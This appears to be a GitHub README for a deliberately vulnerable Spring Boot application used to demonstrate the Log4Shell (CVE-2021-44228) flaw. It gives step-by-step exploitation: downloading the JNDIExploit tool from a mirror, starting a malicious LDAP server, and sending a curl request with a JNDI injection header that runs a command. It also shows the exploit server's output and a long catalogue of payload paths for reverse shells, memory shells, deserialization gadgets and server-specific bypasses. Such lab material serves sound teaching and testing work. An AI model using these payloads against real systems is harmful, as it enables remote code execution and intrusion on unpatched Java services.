# Log4Shell sample vulnerable application (CVE-2021-44228)

This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/).

It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181.

![](./screenshot.png)

## Running the application

Run it:

```bash
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
```

## Exploitation steps

*Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.*

**Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528))... 
[Click Here](https://gitea.avc.cx/borekon/log4shell-vulnerable-app/raw/branch/main/JNDIExploit.v1.2.zip) to Download it

* Use [JNDIExploit](https://github.com/zzwlpx/JNDIExploit) to spin up a malicious LDAP server

```bash
wget https://gitea.avc.cx/borekon/log4shell-vulnerable-app/raw/branch/main/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
```

* Then, trigger the exploit using:

```bash
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
```

* Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:

```
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
```

* To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application:

```
$ docker exec vulnerable-app ls /tmp
...
pwned
...
```

## Supported LDAP queries

All words are **case INSENSITIVE** when send to ldap server
```
[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
    ldap://127.0.0.1:1389/Basic/Command/[cmd]
    ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Basic/TomcatMemshell
    ldap://127.0.0.1:1389/Basic/JettyMemshell
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell
    ldap://127.0.0.1:1389/Basic/JBossMemshell
    ldap://127.0.0.1:1389/Basic/WebsphereMemshell
    ldap://127.0.0.1:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialize/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Deserialize/URLDNS/[domain]
    ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Dnslog/[domain]
    ldap://127.0.0.1:1389/Deserialize/CommonsCollections2/Command/[cmd]
    ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Deserialize/C3P0/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Deserialize/Jre8u20/TomcatMemshell    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
    ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
    ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell
    ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
    ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
```
### base64 trick

You can convert from a command to base64 with this [online web](https://www.base64encode.org/)

**Note** that the `+`sign must be encoded has %2B. The following chart shows more posibilities:
![image](https://svbtleusercontent.com/nnlmc8unyj0ibg_small.png)


## Reference

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

## Contributors

[@christophetd](https://twitter.com/christophetd)
[@rayhan0x01](https://twitter.com/rayhan0x01)